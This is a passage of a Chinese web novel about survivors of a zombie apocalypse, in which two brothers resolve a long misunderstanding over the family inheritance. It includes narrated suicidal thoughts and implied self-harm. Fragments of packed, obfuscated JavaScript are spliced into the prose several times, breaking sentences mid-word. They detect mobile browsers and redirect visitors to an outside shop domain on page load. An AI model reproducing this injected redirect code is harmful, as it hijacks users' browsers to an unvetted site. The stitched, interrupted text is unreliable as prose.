l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996937|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继承人的重担再度落到了他身上,不过沈观宴这次交代了饶城基地的存在,再度拒绝了沈家,只愿意在沈观离醒来之前先代替他执行继承人的职责。 “我还争取到了一点,我和霍哥这次争取到了林北辰的继承权,他未来也有机会变成林家的继承人了。” 与成员稀疏的霍家和沈家不同,林家是一个旁支众多,人丁兴旺的大家族,林北辰是旁支子弟,家族继承人的位置原本轮不到他头上,因此他在外行事大多使用沈观宴的名义,而非林家。 不过,林北辰的性格过于偏激,并不适合做家主或者家族继承人,在场的几人都心知肚明。 几乎整晚,众人都聚在一起规划起了北方基地的未来,沈观宴说起和池遥一同前往花城的遭遇,表示过一段时间要再去一次,亲自探访花城地下的研究中心,韩厢月则策划扩大基地内的居住区范围,安排流民入住的同时解决他们的收入来源问题。 一切都在变好。 池遥一直安静地聆听几人的谈话,很少插话,偶尔提出意见。 对于她而言,北方基地只是漫长旅程中的一站,但却是眼前这些人未来赖以生存的家园。 她注定与这群人分离,前往下一个世界,如果还找不到曲卓的踪迹,也许会前往下下个世界,走得越来越远。 那么,这次离去后,她还有机会和这些人见面吗? 她心中没有答案。 次日,沈观宴开车载着池遥苏榕和韩厢月以及霍云初,一同回到了饶城基地。 有空间道具的加持,饶城基地的人员伤亡很少。 来到饶城基地,几人兵分两路,作为饶城基地的管理者,沈观宴和霍云初去找基地其他几个管理人说明情况,而池遥和韩厢月打探到心悦的位置后立刻动身,回到了他们在饶城基地居住的自建房里。 时隔一天,心悦身上的伤口都经过了妥善处理,看起来仍触目惊心,卢淼一直陪在她身边,照顾她的饮食起居。 觉醒能力的时间太短,心悦还没有完全掌握能力,担心伤到同伴,就在手上围了厚厚一层纱布,彻底隔绝能力。 “我和心悦单独说几句话。” 从得知心悦觉醒能力的消息后,池遥的神色就有些复杂,她屏退众人,拉着心悦的手,一边治愈她的伤口,一边听心悦描述自己刚觉醒的能力。 这是池遥第一次见到除自己之外的觉醒者,想到殷蘅说过的话,她心中一阵后怕,但这个世界里的旅人不多,情况想必没有殷蘅说的那么糟。 “听我说,如果别人问起,不要说你是刚觉醒的能力,就说你也是末日前一个月获得的能力,只是之前一直没有机会使用,找个借口让大家相信。” 池遥将殷蘅告诉自己的话全部转述给了心悦,重点阐明了觉醒者可能遇到的威胁,劝说心悦保护好自己。 心悦认真听着池遥的讲述,目光一直落在池遥的身上。 她能看出,池遥似乎十分紧张,神色有几分忧虑,已经超出了为同伴担心的范围。 “池遥姐姐,你也是觉醒者吗?”她问。 听到心悦的问题,池遥呆滞了一下,没有回答。 139. 重返天山9 一周后,所有高等丧尸同伴终于再次聚集在饶城基地,池遥终于再次见到了这群伙伴。 果然,所有同伴都丢失了被丧尸王控制后的记忆,他们的记忆大多停留在前往天山的路上,池遥没有详细说明,只说是霍云初出现问题,影响到了被霍云初的血液转化为高等丧尸的他们。 暂时承担起沈家继承人的位置后,沈观宴辗转于两个基地,在饶城基地停留的时间缩短了很多。 生活平稳下来后,苏榕就继续变成小猫模样,随地大小睡,过幸福猫生。 而霍云初则兑现了上次分别时的诺言,继续教导池遥的防身术。 一切似乎渐渐走上了正轨。 然而,沈观离仍旧躺在病床上,昏迷不醒。 这一天,池遥与韩厢月照常来到了沈观离的病房,却看到病床前坐着一个熟悉的人影。 沈观宴坐在床边,垂着脑袋,目光似乎透过病床上的影子,看向更远处。 “沈观宴?”池遥忍不住叫了一声对方的名字。 池遥已经很久没见过沈观宴了,沈观离缺席的工作太多,他忙得团团转,很少有机会和池遥等人见面,池遥已经好几天没看到他了,没想到此时会在病房里见到他。 “池遥?”沈观宴这才抬起头,看清了走进病房的池遥和韩厢月二人。 作为基地未来的管理者一员,韩厢月身上的担子同样不清,然而,似乎预知到了池遥即将离开,这段时间,韩厢月反而总是跟在池遥身边。 在池遥看来,韩厢月似乎从丧尸潮结束后,就陷入到了某种沉闷而沮丧的情绪当中,她不知道这种情绪是因何而起,也不知道该怎么排解他的负面情绪,只能尽可能用平常的态度与他相处。 这一次,韩厢月也是自发跟随池遥进入病房的。 他垂着眼,十分安静,似乎有意降低自己的存在感。 见到池遥的身影,沈观宴明显愣了一下,神色有些不自然地站起身。 “我之后还有事,我先走了。” 见沈观宴这副模样,池遥想叫住他,又担心他是真的有事,韩厢月先一步开口叫住了他。 “等一下,你之后也没什么紧急的事吧?” 沈观宴身体僵了一下,立刻开口,似乎意识到韩厢月的读心能力,才无可奈何地点了点头。 韩厢月静静地看着他,过了一会儿才开口。 “我有事情想和你说,池遥大概也是同样的想法,我们先出去吧。” 即便沈观离仍处于昏迷状态,在病房中谈话也不是最佳选择,几人找了一间空病房,关紧房门。 “你想说什么?”沈观宴看看韩厢月,目光又转移到了池遥身上,他不确定是韩厢月本人有话想说,还是他通过读心能力得知池遥有话要说。 “抱歉,来到北方基地之后,我和你哥哥有过几次接触,虽然我本意并不希望听见他的心声,但能力使然,我得知了很多和你有关的事。” “之前我们一起的时候,我也无意中听到了很多你的心声,我发现,你和沈观离两人对同一件事的认知存在很大错位,你们之间应该有很大误会。” 韩厢月显然也很不擅长调解亲人之间的矛盾,说出这几句话已经耗尽了他的脑细胞。 “以我的立场,想必不能直接向你转达他的想法,所以,等沈观离醒来,你们两个人最好好好谈一谈。” 听了韩厢月的话,沈观离咬紧了嘴唇,良久,冲他道谢。 天气逐渐转暖,饶城基地的农田迎来新一次收获季,除了饶城基地原有的几位能力者之外,卢淼和陈霄也兴奋地跑去帮忙,乘坐货车来到饶城基地的幸存者们也在饶城基地住下,一百多人齐心协力,还有各种能力者辅助,只用了两天就收完了全部农作物。 池遥来到饶城基地时,卢淼正在驱使她的藤蔓,像蚯蚓一样穿梭于泥土之间,给农田松土,一旁还有几位能力者口头指导,隔着一段距离,一群幸存者们在远处探头观看。 到了现在,居住在农田对面的自建房内的住户不再只有池遥的高等丧尸同伴们,忙于种田的能力者们也入住了这里。 此处自建房距离农田位置近,可以随时盯着地里的情况,这几位能力者与卢淼等人关系匪浅,早就不在意他们的丧尸身份了。 霍云初还有其他事,迟迟没有返回天山,池遥起初以为他会留在北方基地一段时间,没想到他却带着池遥和沈观宴出了一趟远门。 三人再次去到了饶城影视基地,也就是池遥曾经去过的黑市。 与准备充分的北方基地和饶城基地不同,黑市来者不拒,本就是一个庞大的交易场所,对外防备很弱,果然,这一次去到黑市,黑市外围居住的幸存者已经消失不见,往日人来人往的空间此时空空荡荡。 黑市帐篷附近,堆叠着大量变形人的尸体,池遥草草扫视一圈,没有见到熟人,心中暗暗松了口气。 见到这副情景,霍云初和沈观宴的神色都不太好看,下一秒,霍云初却突然闪现消失,几分钟再次出现,手中揪着一个高等丧尸的后颈。 这只高等丧尸,池遥曾经在天山见过,是一只穿着运动服,背着斜挎包,脸上化着拙劣妆容,留着寸头的丧尸。 “这是天山最初那只丧尸王的手下。”霍云初一只手死死按着丧尸的后颈,对方挣扎不开,只好深深地叹了口气。 “它的能力很有效,可以看到这里过去发生的事。” 霍云初一边说,一边示意丧尸使用能力。 “你要看什么时候的事?”丧尸明显不想帮忙,却不得不屈服于霍云初的威慑。 “从丧尸潮爆发到现在。” 运动服丧尸点了点头,煞有介事地从斜挎包里掏出一张纯白色硬纸板,另一只手按住了自己的头顶。 “我要翻一下我的脑子。” 说完这话,它掀开天灵盖,在池遥震惊的目光中,将手伸了进去。 除了已然习惯的霍云初,池遥和沈观宴全都惊呆了。 过了一会儿,丧尸收回手,另一只手拿着硬纸板,挡在了他的脑袋前。 很快,白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005231|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬纸板上就出现了黑白相间的影子,丧尸如同投影机一般将过去的场景投影到白色纸板上,放映起了黑市遭受丧尸潮后的景象。 遭受丧尸潮后,黑市第一时间封锁了马戏团帐篷,但影视乐园的马戏团帐篷并不结实,迟早会被丧尸攻破,因此,这些人躲进了关押变形人的地牢之中。 丧尸潮持续了数天,躲在地牢中的人们没有食物,最终盯上了病恹恹地缩在笼子里的变形人们。 反正这些人身上已经长出了动物的特征,把它们当做牲畜对待也没关系吧? 这群人心安理得地接受了这个荒诞的理论。 然而,与这群人一同困在地牢,没有食物和水,被饥饿逼疯的变形人们也在暗处盯着这群闯入地牢的外来者,虎视眈眈。 最终,这群人被数量众多的变形人尽数杀死,而马戏团帐篷外,是变形人们自相残杀的尸体。 过去十几天的故事被加速到一个小时播放完,池遥心情复杂地看完了这段回忆,目光再次看向帐篷外的尸体堆。 明明那群人类也尽数被杀死,这里却没见到他们的尸体。 随后,她想到一种更为毛骨悚然的可能。 与丧尸一样,或许变形人也不认为自己被划分到“人类”的范围。 断水断粮的生活里,他们将同属于变形人的尸体扔到了帐篷外,却留下了人类的尸体。 难道是遵循同类不相食原则吗? 越想越感到诡异,池遥晃了晃脑袋,将越来越发散的想法抛掉。 帐篷内到处都是大片血迹,足以看出这里遭到了多么严重的入侵。 通往停车场的地牢中,到处都是散乱的尸体,只剩下寥寥几个变形人还留有一口气,然而,他们的脸却诡异的发灰,神情僵滞,仿佛会保持这个状态慢慢死去。 霍云初蹙起眉,抽刀,干脆利落地杀掉了剩余的变形人。 “我能感知到,他们不止吃了人,还吃了丧尸的肉。” 离开黑市的路上,霍云初这样解释给二人听。 “我不确定它们会变成什么东西,但那副样子已经不再是人类,或者说,已经不具有人性了,以防万一,还是铲除掉。” 池遥和沈观宴没有意见。 从黑市回来,几人又一同出发去了花城,以北方基地管理人的身份关停了竞技场下的研究中心。 经历种种磨炼,沈观宴在短期内迅速成熟起来,曾经池遥只觉得对方是与自己相差无几的同龄人,然而,他渐渐有了上位者的气度和眼界。 这种变化是沈观宴本人期望的吗? 池遥心中也短暂地产生过这样的担忧,然而,沈观宴看起来并不抵触手中的权力,池遥也就不再思索这事。 讲起自己的过去时,沈观宴曾经再三向池遥强调,他完全没有任何超出自己身份的野心。 然而,没有野心的人是不会主动建立饶城基地,主动承担守护基地的责任的。 直到丧尸潮退散的一个月后,医院传来了消息。 沈观离醒了。 140. 重返天山10 池遥和韩厢月赶到病房时,沈观宴已经在病房内了,一进房间,她看到的是一个浑身萦绕着病气,笑意却依旧柔和的青年。 “池遥。”见到池遥,沈观离对她露出了一如既往的温和笑容,“抱歉啊,我在你面前突然晕过去,害你担心了。” “没事没事,你能醒过来就好。”池遥主动上前握住对方的手,稍微输送了一点点能力。 听到他苏醒的消息,整个下午,源源不断有各种不同身份的人来到病房看望他,沈观离对所有人的态度都谦和而疏离,脸上挂着柔和的笑意,不时流露出疲惫之色。 沈观宴,池遥和韩厢月三人像三尊门神,直直站在病房内,直到天色渐暗,最后一个访客离开病房,沈观离才终于松了口气,仰面跌回被褥里,手臂横在面容之上,遮住了双眼。 “沈观离。”沈观宴这时才开口,语气极为凝重,“我想和你单独聊聊,可以吗?” 听到这话,沈观离有些错愕地看着他,随即转移目光,看向一旁的池遥和韩厢月,眼神中有歉意。 “那我们就先走了,你们慢慢聊。”池遥拉着韩厢月的袖子,带着他一同走出病房,关紧病房门,迟疑了一会儿,没动。 “怎么了?”韩厢月问。 “我们在门口守着吧。”池遥叹了口气,“白天来了那么多人,不知道晚上还会不会有人来拜访,咱们在这里拦一下,防止有人影响他们谈话。” 沈观宴如此着急,想必是要和沈观离解开误会,这么重要的机会,她一定不会让任何人打扰他们。 “你想说什么?” 池遥和韩厢月离开病房后,沈观离抬眼看向对面的人。 末日以来,他已经有很长时间没有仔细看过这位仅比他年幼两岁的同胞弟弟了,此时再看,却忽然发现,不知何时开始,沈观宴变得不一样了。 不再是那个暴脾气,任性又心口不一的孩子,也不是混迹在人群中,肆意纵情享乐的纨绔子弟,如今的弟弟,身上多了许多细小的伤痕,由于长期工作,眼下有了些青黑,下巴冒出的一点点青茬也没来得及处理。 眼前的青年肉眼可见地成熟了不少,在沈观离不经意间,已经长成了沉稳可靠的成年人模样。 “我是想和你说,你昏迷的这段时间,我暂时接任了继承人位置,暂时代替你做一些工作。” 沈观宴如此说着,突然痛恨自己无用的自尊心,他的初衷明明是想解开误会,可面对着自己一直以来看不惯的那张脸,却又无法坦诚地说出真正想说的话,只能冷冰冰地顾左右而言他。 “啊......”沈观离显然也没预料到他会提工作,神情怔忪几秒,有点不知所措地发出一个音节,过了一会儿,才慢吞吞地开口。 “那很好啊,你想当继承人吧?” 语气轻飘飘的,没什么力气,也没什么情绪。 只是,这个问题,沈观离实在问过沈观宴太多次了,次数多到沈观宴听到沈观离说出这句话时,无暇深思,就会立刻升腾起一股无名火,只想不管不顾地发泄出去。 他的脸顿时气得通红,一双眼睛恶狠狠地回瞪着沈观离,几乎马上就要口不择言地中伤回去,不过他总算是比以往成熟了不少,这一次破天荒忍住了,没有开口。 也是这时,他才发现,面对他谴责的目光,沈观离眼神躲闪了几下,微微蜷缩起肩膀,垂下了头。 模样似乎比沈观宴还要无措。 “我知道了,抱歉,我明知道你不喜欢听我说这种话,还一直问个不停。” 不等沈观宴开口,沈观离率先道歉。 这话硬生生把沈观宴的怒火削减了大半,他也有些局促地放缓了语气。 “不,我是不喜欢你问这个问题,但我也很好奇,你为什么一直问我想不想当继承人。” 明明沈观离才是父母钦定的继承人。 “因为你看起来很向往这个位置。” 沈观离的声音很轻,似乎没什么底气,但与弟弟心平气和交谈的机会实在得来不易,他逼迫着自己再多说一些。 “我一直,一直都很羡慕你,但是我也觉得,你或许是想要做继承人的,这个位置对我而言很痛苦,但或许是你的目标。” “我并不是想谦让给你,或者想把我的利益让渡给你的意思,只是,我......” 他喉结动了一下,慢慢地说。 “我其实很抵触继承家业,如果你想这样的话,我真的很愿意让你来做继承人的。” 怎么会呢? 沈观宴思考了很多种可能性,可他从未想过,沈观离竟然会抵触这个位置。 从小到大,沈观离一直是那种“别人家的孩子”,他成绩优异,永远霸占着第一名宝座,作风优异,人际关系也十分融洽,从他身上挑不出任何瑕疵,这样的人,不想做继承人吗? “怎么会呢......” 他忍不住发出了一声感叹,反复回想起过去的时光。 “我以为,你们都能看出来呢。”沈观离苦笑一声,“我是个很笨拙,很不争气,很没有魄力的人,根本没办法胜任那个位置,勉强自己的后果就是像现在这样,反复晕倒,帮不上别人的忙,反而给大家添了不少麻烦。” “我真的好羡慕你啊。” 伴随着一声叹息,沈观离开口,讲起了自己过去的经历。 幼时的沈观离一直被关在病房里,数不清的吊瓶点滴,每天来来往往的医生护士,各种检测仪器发出的机械音,构成了他沉闷无聊的童年。 偶尔,身体稍微好转一些的时候,沈观离会主动提出出院回家,第一次提出这种请求的时候,父母同意了。 然而,为了防止他出现意外,他正式办出院手续的那一天,父母请了一支四五十人的医疗团队,陪在他身边,众星捧月地将这个孱弱的孩子护在最中间,浩浩荡荡地回到了沈家大宅。 比他小两岁的弟弟正和同龄的小孩在庭院里疯跑,经过沈观离时,这位没见过几面的弟弟抬头看他一眼,另一个孩子喊了一声他的名字,弟弟就又风似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009351|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑走了。 “小少爷简直像个皮猴!您二位不在家,他又摔了您的精华套盒,午饭也不吃,和朋友在外面疯跑,拦都拦不住。” 年迈的管家絮絮叨叨地对归来的母亲抱怨着弟弟的行径,苍老的脸上却带着和蔼的笑容。 “关于少爷的病,我们目前有三种方案,您看看哪种更好?” 医疗团队的领导拿着厚厚一摞文件来到父母身边,开始详细给两人讲解起来。 沈观离看向不远处发出一阵爆笑的两个孩子。 与先天孱弱的沈观离不同,沈观宴身体素质极佳,他不会因为早产体重不足而被送进保温箱,不会在还没熟悉母亲的味道时就闻惯了医院的消毒水味。 不会一直被困在小小的病房一隅,也不会遭受到亲戚,大人同情又惋惜的目光。 年幼的沈观宴和林北辰在攀爬石桌旁的石质凳子,两个小家伙还没有石桌高,沈观宴率先爬到石凳上看一旁的林北辰。林北辰没爬上去,反而摔倒在地上,整张脸皱在一起,沈观宴立刻坐在石凳上指着对方哈哈大笑。林北辰手一动,沈观离被他拉倒在地,目光滴溜溜地扫向被一群白大褂包围的父母,小嘴一撇,爆哭出声。 与虚弱无力的沈观离相比,小小的沈观宴十分健壮,像个敦实的小炮弹,哭声更是震天响,然而,父母正在表情凝重地与医疗团队商量方案,谁也没有搭理哭得嗷嗷叫的小儿子。 沈观离侧脸看着嚎啕大哭的弟弟。 如果是他的话...... 新的想法涌上心头,他突然向前走了两步,装作不小心绊了一下,一屁股坐倒在地。 只不过,他学不太会弟弟那种光打雷不下雨的哭法,面不改色地抬起头,与身边变了脸色的医疗人员对视。 “大少爷摔倒了!” 一群人立刻围在他身边,小心翼翼地把他扶起来,追问他有没有事,有没有什么地方难受,父母也立刻看了过来,嘘寒问暖。 沈观离恍恍惚惚地摇头,不说话,神色有点低落。 见他真的没事,众人这才松了一口气,为了防止他再次跌倒,父母把他抱到折叠椅上坐着,才继续交谈。 沈观离又侧过头,去看远处的沈观宴。 意识到自己的哭声无法引起父母的注意力后,沈观宴就不哭了,抬起两只小脏手,擦了擦不存在的眼泪,就从地上爬起来,反手把旁边因惹哭沈观宴而不知所措的林北辰一起拽起来,不到一分钟,两个没心没肺的小孩又疯跑到另一处了。 望着他们的身影,沈观离突然想到了一个从未想过的问题。 自己体弱多病,大部分时间都住在医院里,正因如此,只要他在场,父母的注意力就一定会投向他。 而不是活泼健康的沈观宴。 可沈观宴是自己的弟弟,沈观离起码得到过两年父母的偏爱,可弟弟比自己晚出生两年,本就只能得到父母一半的爱,获得的爱总量必然比自己少,已经很不幸运了。 他又怎么能抢占弟弟本就不多的爱呢? 141. 重返天山11 在家里没住几天,沈观离旧病复发,再度被送回了医院。 这之后,他再也没有主动提出回家的请求。 到了上学的年纪,他的身体渐渐好转,变得与平常的孩童无异,以往对他只剩愧疚的父母这才将目光投向他。 “你弟弟天天只知道在外面疯玩,对继承家业不感兴趣,你想继承家业吗?” 沈观离脑海中浮现出在庭院中玩闹的小孩子的身影。 他和沈观宴二人中总要选出一位继承人,继承家业的担子太重了,如果弟弟不想承担的话,他......也可以接替这个位置。 “我可以的。” 沈观离答应下来。 与继承人的位置一同到来的,是苛刻而沉重的各种任务,他被送进全国数一数二的学校,接受最优质,也最为严苛的教育。 沈观离渐渐发现,自己实在是个过于笨拙,平庸的普通人,如果不付出比同龄人多出几倍的努力,他根本无法达到父母的要求,无法成为人群中最优秀的那一个。 父母本就不信任自己,如果自己达不到他们的要求,也许弟弟无忧无虑的童年也会被剥夺掉。 沈观离侧过头,透过窗户,看到了在庭院拿着小铲挖土,挖坏了庭院里价值连城的稀有花卉的弟弟。 他希望自己的弟弟不需要面对这些压力,能够幸福快乐地长大。 不停地做题,做题,努力到每晚躺在床上时,神经酸胀不堪,明明疲惫到一沾枕头就能睡着,却总是在进入睡眠的前一秒被不知从何而来的恐惧感惊醒。 不仅如此,出了自己的房间,他就要戴上完美无瑕的面具,被迫在小小年纪学习待人接物,礼节要优雅得体,举手投足要符合自己的身份。 即便在自己家里,也不能有一丝一毫地松懈,在父母面前要做让他们满意的儿子,在弟弟面前要做成熟的哥哥,独自待在房间里时,每隔一段时间,管家就会推门进入房间查看,若是发现他坐姿懈怠就会苦口婆心劝导。 慢慢地,进入睡眠变得越来越困难,他时常睁着双眼在一片漆黑里熬到天明,神经越来越纤细,越来越敏感,偶尔,他会觉得自己疯了,他怎么会听到自己的血液在血管里涌动的声音呢。 伏案学习的时候,偶尔他会感觉到心脏一阵紧缩,胸腔剧痛,这种疼痛往往只会持续几秒,他蜷缩着身体,瘫软在座椅上熬过这阵痛苦,之后急忙拭去额头上的冷汗,整理发型和上衣,维持得体的形象。 他不是父母想要的继承人。 仅仅只是繁重的学业居然就能将他压垮至此。 沈观离觉得自己似乎病了,病情愈来愈严重,可沈家的继承人不该生那种病,他废了更多力气,装作没事人一般,继续扮演着继承人的角色。 病得最严重的时候,他吃不下去东西,手抖得握不住笔,状态总是恍恍惚惚,浑浑噩噩,听不到外界的声音。 身体里血液流动的声音太吵了,鬼使神差地,微微发抖的手不听使唤地拾起了壁纸刀。 再后来,沈观离就养成了戴手表的好习惯。 但是,随着年龄增长,沈观宴却变得很优秀。 父母对沈观宴没有太大期望,以快乐教育为主,将他送进了私立学校,沈观宴逐渐成了班里的人气王,在学校里一呼百应,神气极了。 他好像不费吹灰之力,就得到了身边人的信任,无论什么时候见到他,他都被一群小孩子簇拥在最中间。 沈观离要努力模仿父亲的一举一动,辛辛苦苦维持着体面的形象,才能获得他人表面上的信任,可是沈观宴天生具有让人信服的力量。 如果沈观宴是继承人,一定能做得更好吧? 一定不会像他这样狼狈吧? 于是,某一次,沈观离小心翼翼地提出了这个问题。 “你想做继承人吗?” 如果弟弟来做继承人的话...... “不想。”沈观宴斩钉截铁地摇头,神色似有不耐,腾一下站起来,“哥你问完没有?我和同学约了打球。” “啊......”沈观离局促地僵在原地,“抱歉,打扰你了。” 沈观宴从他身侧挤出门,明明比沈观离年幼两岁,个子却已经窜得比哥哥还高了。 啊...... 他连这一点都好让沈观离羡慕。 沈观宴继续过着让人羡慕的恣肆生活,沈观离继续活在水深火热里。 拖着这副沉重而疲惫的身躯,无论去到什么地方都令他感到痛苦。 有时产生抛下这个世界,抛下一切重担,结束生命的念头,他就去听佣人们的谈话。 沈家的佣人们总是用慈爱的语气,欢快地抱怨小少爷的一举一动。 他从他人的话语中拼凑出一个活得鲜活肆意的沈观宴,似乎就有动力活一天,再活一天。 自己身上承载的压力太重了,不能推给弟弟。 只是,很多时候,沈观离也会思考,沈观宴会不会发自内心地想要继承家业呢? 无忧无虑的弟弟也会有烦恼,听到外人拿自己和弟弟比较,弟弟就会生闷气,遇见沈观离的时候也阴沉着脸不说话。 上了初中后,弟弟的学习成绩一落千丈,父母训斥他的时候,沈观宴只怒气冲冲地甩下一句话。 “反正我也不继承家业,学习好不好的有什么关系?” 沈观离在房间里听着弟弟的喊声,再次思考起来。 如果弟弟想要继承家业的话,他一定不会和弟弟争抢的。 弟弟想要的东西,无论是继承人的身份,还是其他什么,只要他能给得起,一定会双手奉上。 于是,有一段时间,沈观离想方设法创造和弟弟交谈的机会,几次装作无意问出了这个问题。 结果却适得其反,沈观宴后来只要听到继承人这三个字,就像应激炸毛的猫咪一样发脾气。 时间逐渐推移,沈观离在无望中度过了无数个日夜,终于熬到了大学。 到了大学,沈父在公众场合正式宣布了沈观离的继承人身份,由此,沈观离作为沈家继承人,正式进入浑浊的名利场。 学业之余,他开始一点点接手公司的事务,每晚回到家都要向沈父汇报工作。 也就是到了这时,他才发现,一直以来,他都以几倍的努力将自己粉饰成一个做什么事都不费吹灰之力的天才,可他终究只是个普通人,世上有太多他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013862|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论付出多少努力都无法完成的事。 他自小被教导绅士作风与没有瑕疵的礼节,然而,父亲却要求他“有魄力”。 魄力是什么?要怎么去体现? 如何确保自己的每一次决策都是正确的,不造成公司的损失? 他再一次意识到,他始终不如其他人有天分,他笨拙的本质彻底藏不住了。 沈观离第一次见到父母屡次对自己露出失望的神色。 “算了。”一年后,父亲露出了无奈的神情,朝他挥了挥手,“你没经历过我年轻时的事,能成长成现在这样也不错了,只是有点优柔寡断,也不算什么大问题。” 沈观离大脑一片空白。 仿佛有什么东西,顺着父亲刚刚的一番话彻底断掉了,他如同断了线的人偶,僵硬地站在原地,面无表情,眼神黯淡。 父亲的秘书走进办公室,对他投来疑惑的目光。 “还呆站着干什么?回家去吧。” 父亲的声音仿佛植入脑海中的程序,操控着他回到家,晃晃悠悠地倒进沙发里。 疲惫与绝望如同潮水一样淹没了他。 似乎从很小的时候开始,沈观离就生活在一片水深火热之中,无形的压力如同茧蛹般紧紧束缚住他,稍微一动就会禁锢得更紧,他脱离不开,也不愿挣脱。 可他现在已经濒临极限了。 脑海中一片混乱,他忘却了一直以来熟记于心的礼节,毫无形象地瘫倒进沙发里,狼狈地把脑袋使劲后仰,靠在沙发靠背上,直直凝视着头顶的吊灯。 头顶的吊灯自他幼时就已经存在了,这是一个巨大又沉重,价值连城的水晶吊灯,只靠着一条细细的杠杆撑着。 如果此时,杠杆松动,吊灯脱落,一定会第一时间砸中他的脑袋,把他整个人砸得头破血流。 沈观离发现自己似乎有什么地方变得不正常了,想到自己倒在血泊中的样子,他竟然没有丝毫的恐惧,心中隐隐还有些期待。 他仿佛沉醉到这个场景里去了,移不开视线,目光发直地盯着水晶灯,脑海中一遍又一遍播放着自己死亡的瞬间。 直到一阵脚步声在深夜里响起。 穿着睡衣的弟弟绕过他,自顾自去厨房里倒水喝。 沈观离这才回过神来,注视着沈观宴的背影出神。 “沈观宴。” 鬼使神差地,他叫出了那个名字,低声下气地对同胞弟弟求助。 “你真的不想做家族继承人吗?” 他真的坚持不下去了。 然而,隐晦的求助却再度被沈观宴理解为炫耀和告诫,之后更是直接决定去海外留学,离开了这个家。 “你为什么不直接告诉我呢?”听完沈观离的讲述,沈观宴蹙眉,很不解地开口问道。 “你直接告诉我你不想当继承人,你在这个位置很有压力,很辛苦,不就行了?” 是啊,为什么呢? 沈观离一时哽住,他回答不了对方的问题。 他似乎总是瞻前顾后,优柔寡断,唯恐自己给他人造成任何一点伤害,最后却反而把事情搞得更糟。 “抱歉。”他无话可说,只能再度道歉。 142. 重返天山12 “你说你很抵触这个位置,那现在,你还想做继承人吗?”沈观宴注视着眼前的人。 “你呢?你想当继承人吗?”沈观离反而将问题抛了回去。 如果沈观宴想接受继承人的位置,他一定会给弟弟让路,甚至铺路,但如果沈观宴同样认为继承人是一种负担的话...... 他大概还是能够继续撑下去的。 “你问我的意见做什么?我现在只想知道,你到底是怎么想的?” 沈观离沉默。 他很难以表达内心想法,又一贯过于在乎他人的想法,说话永远委婉柔和,难以做出果断的决定。 “......我的确不想。” 最终,他的声音极轻,极弱地吐露出这句话。 “不过,我的想法不重要,我其实......” 补救的话语被沈观宴打断。 “你之前说对了。”沈观宴的语气有些恶狠狠的意味,“我确实,一直都很想成为继承人,但你实在是太优秀了,我觉得我不可能会赢过你,所以一直没有承认,实际上是我不好,我一直在赌气。” 沈观离瞪大眼睛,错愕地看向他。 “总之你的意思我已经知道了。” 沈观宴把脑袋撇到一边,躲开沈观离的目光,绷紧面部,努力把自己调整回从容不迫的模样。 “那就由我来继承家业,我之后会和父亲说的,我会正式接过继承人的位置,你不用担心,我会在这个位置上做得比你更好。” 这句话听起来颇有种挑衅的意味,但沈观离却松了口气。 “好。”他点了点头。 “那你呢?我继承家业,你之后要做什么?”沈观宴问他。 沈观离没想过这件事。 从出生起,他似乎就一直在被动地完成他人交代的任务,很少主动做出属于自己的选择,痛苦到极点的时候,似乎也只能在生和死之间两相抉择,可他不能给家人添麻烦,自然是无法欣然赴死的,于是也只能继续挣扎地活。 可是,当突然脱离一直以来既定的路线,回归自由时,他却没有任何解脱的感受。 他只是神色恍惚地抬起头,对上了沈观宴的目光。 他不知道自己该做什么,也从来没想过未来要做的事。 在短暂的一生中,由他自发做出的选择少之又少,可如果细究起来,他曾经反常地连续在同一个人面前,不受控制地吐露出内心真正的想法。 那个人...... 沈观离突然很想见她。 与沈观离的谈话结束时,已经是半夜了,沈观宴站起身,走到病房门口,打开了门。 紧接着,他看到了藏在门口的两个鬼鬼祟祟的脑袋。 “你们一直在这里等着吗?” 他惊讶地看向对面的二人。 这两人正是池遥和韩厢月。 沈观离入住的是医院最高级的病房,隔音十分优秀,饶是站在病房门口,也听不到房间里的声音。 相对的,病房里的人也听不到门外的声音。 “你想知道他们之间的矛盾吗?” 等待的时间里,韩厢月突然靠近一步,微微弯下腰,凑近池遥的耳朵对她耳语。 如果池遥是个坚定并且有正义感的人,她一定会严辞拒绝。 可惜,池遥犹豫半天,没说话,但一双带着求知欲的眼睛直直看向了韩厢月。 韩厢月早已从二人的心声中判断出了两人之间的矛盾,于是用最简洁的语言为池遥概括。 “两个人都太为对方考虑了。” 